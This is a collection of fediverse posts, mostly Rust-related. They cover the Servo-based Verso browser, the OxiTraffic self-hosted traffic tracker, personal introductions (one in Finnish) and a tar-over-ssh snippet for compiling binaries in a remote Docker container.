a pixel art picture drawn in an anime style. it's of magical girl with bright red skin and hair. her outfit is red and pink, with blue trim. on her shoulders are what looks like pieces of a large ferris (the rustacean), and she has a gem/bauble with the letter R in it.
ALT text

a pixel art picture drawn in an anime style. it's of magical girl with bright red skin and hair. her outfit is red and pink, with blue trim. on her shoulders are what looks like pieces of a large ferris (the rustacean), and she has a gem/bauble with the letter R in it.

@Blort@social.tchncs.de

Ok, so this is very early stage but cool:

is a project to build a full " forever" web browser based on and rather than /#Gecko. Even the interface is rendered with Servo.

github.com/versotile-org/verso

Currently there's 23 contributors and a non profit forming to oversee it. There are also nightly releases for testing (remember the "very early stage" bit though!).

Here's their initial launch video (tech starts about 1/2 way through):
yewtu.be/watch?v=cqFfpeMGYk4?t

Screenshot from the Verso webpage. At the top is an image of a text based cat and the word "Verso" with an old CRT effect. Underneath is the following text:
"Verso is a web browser built on top of the Servo web engine. We aim to explore embedding solutions for Servo while growing it into a mature browser one day. This means we want to experiment with multi-view and multi-window first and then build UI elements entirely from Servo itself. At the moment, Servoshell should provide a better user experience.

Verso is still under development. We don't accept feature requests at the moment, and the whole navigation workflow hasn't been polished yet, either. But if you are interested, feel free to open bug-fix PRs."
ALT text

Screenshot from the Verso webpage. At the top is an image of a text based cat and the word "Verso" with an old CRT effect. Underneath is the following text: "Verso is a web browser built on top of the Servo web engine. We aim to explore embedding solutions for Servo while growing it into a mature browser one day. This means we want to experiment with multi-view and multi-window first and then build UI elements entirely from Servo itself. At the moment, Servoshell should provide a better user experience. Verso is still under development. We don't accept feature requests at the moment, and the whole navigation workflow hasn't been polished yet, either. But if you are interested, feel free to open bug-fix PRs."

@mo8it@fosstodon.org

, a self-hosted, simple and privacy respecting website traffic tracker 🌐

➡️ Demo: oxitraffic.mo8it.com

I just published version 0.6 with a image! 📦️
(You don't have to use Docker though)

Do you have a ?
I can host it for you if you want to test it with your website :blobcatheart:

Of course, it is written in 🦀
Check out the README, I spent a lot of time on it 😇
codeberg.org/mo8it/oxitraffic

Boost? 🔃🥰

A screenshot of https://oxitraffic.mo8it.com/
ALT text

A screenshot of https://oxitraffic.mo8it.com/

@haskman@functional.cafe

There is a fundamental difference between for the sake of convenience (I can build an entire app quickly. Think framework of the day), vs complexity for the sake of robustness (I can make changes to the app quickly without introducing new bugs. Think or ).

When you are not familiar with the tech, both can look the same, but they are not. The latter is actually in disguise

@nen@mementomori.social

Olen sosiaalisesti rajoittunut nolla- tai matalaenergiaihmi-nen. Eniten tykkään miettiä, ideoida ja suunnitella kaikkea maan ja taivaan väliltä. Enimmäkseen mietteeni kulkevat (tieto)teknisiä polkuja. Silloin tällöin tulee siirryttyä jopa tekoihin.

Täsmällisempiä aiheita, joista ja joiden vierestä saatan hölistä:

:mastodon: Tämän meidän ihmisten somen parantelu. En ole lainkaan niin allerginen aikajana-algoritmeille kuin moni muu. Haluaisin mm. ehkäistä epäaktiivisten kavereiden tuuttausten hukkumista valtavaan sisältövirtaan, lisätä positiivista sosiaalista kanssakäymistä ja tehdä sisältövirrasta ihmiselle kognitiivisesti sopivamman, helpommin hahmotettavan ja vähemmän koukuttavan. Kaikkiin näihin minulla on mielessä siis ihan konkreettisia jippoja, mutta niistä joskus toiste. Pyhä aikomukseni on muuttaa suunnitelmat prototyyppikoodiksikin (client). Siihen olisi tietty erittäin jees, jos löytyisi joku motivaatiokaveri koodaamaan. Karkotteena tai houkutteena mahdollisesti kiinnostuneille on kielivaatimus , koska tarvitsen siinä harjoitusta.

🤖 Tekoäly on ollut tavallaan pääkiinnostuksenkohteeni yli 10 vuotta. Suurimman osan ajasta epäilin kykyjäni liikaa uskaltaakseni tehdä mitään itse. Lopulta älysin, että voihan näinkin saavuttamattoman aiheen parissa myös askarrella puhtaasti omaksi ilokseen, mikä yllättäen johti (mielestäni) lupaaviin oivalluksiin ja yhä tarkentuvaan konkretiaan, joiden toimivuutta täytyy kokeilla käytännössä. Pari vuotta työstin hiki hatussa varsin kunnianhimoista projektia, mutta muu elämä heitti minut tatamiin, enkä ole kyennyt kunnolla jatkamaan hanketta pitkään aikaan. Neuroverkkoihin en ole koskaan oikein uskonut, mutta sen tarkemmin tuskin tulen oman juttuni toimintaa täällä avaamaan.

:tux: En varmaankaan malta olla jakamatta välillä -juttuja.

🎮 Jotain pelaamiseen liittyvääkin joskus.

***

Someen ( :twitter: ) minut toi alun perin pandemia. Sittemmin sain voimakkaan tönäisyn ( :twitterfire: ) muuttaa tänne ihmisille paremmin sopivaan netin nurkkaukseen jatkaen samasta aiheesta. Nimeltä mainitsemattomaan kulkutautiin keskittyvä tilini @turvanen on jatkossakin aktiivisessa käytössä.

@patisdrinker@labyrinth.zone
hello zone of the labyrinth, i'm trying out akkoma and considering moving my whole account from @patisdrinker here

commence copy-pasted introduction:

i'm creamfresh, but you can call me cream/kurimu (but not fresh), i'm roughly 23 y.o. and go by they/he

i do shitposts mainly and i boost pretty pictures from japan. i hardly feel anything anymore so i don't really do 'hot takes'

achja und hier gibt es posts auf deutsch, weil dort bin ich (in deutschland)

here are my hashtags:
listening to: #nineinchnails #redhotchilipeppers #twrp #poppy #daftpunk #health-band #100gecs #thebirthdaymassacre #vulfpeck #citypop #breakcore /// reading: #sciencefiction #cyberpunk #discworld #asoiaf /// misc. #bass #musicproduction #eu4 #history #rust #jjba #chainsawman #f1 #日本語 #geoguessr ///

@floppy@fosstodon.org

Hacked together a script that helps compiling binaries on a remote host in a container. It goes roughly like this:

tar czf - $FILES | \
ssh remote docker run $ARGS rust:1.80 "$@" | \
tar xzvf - -C "$BIN_DIR"

And on the remote end there is a script running in a container doing tar/cargo/tar.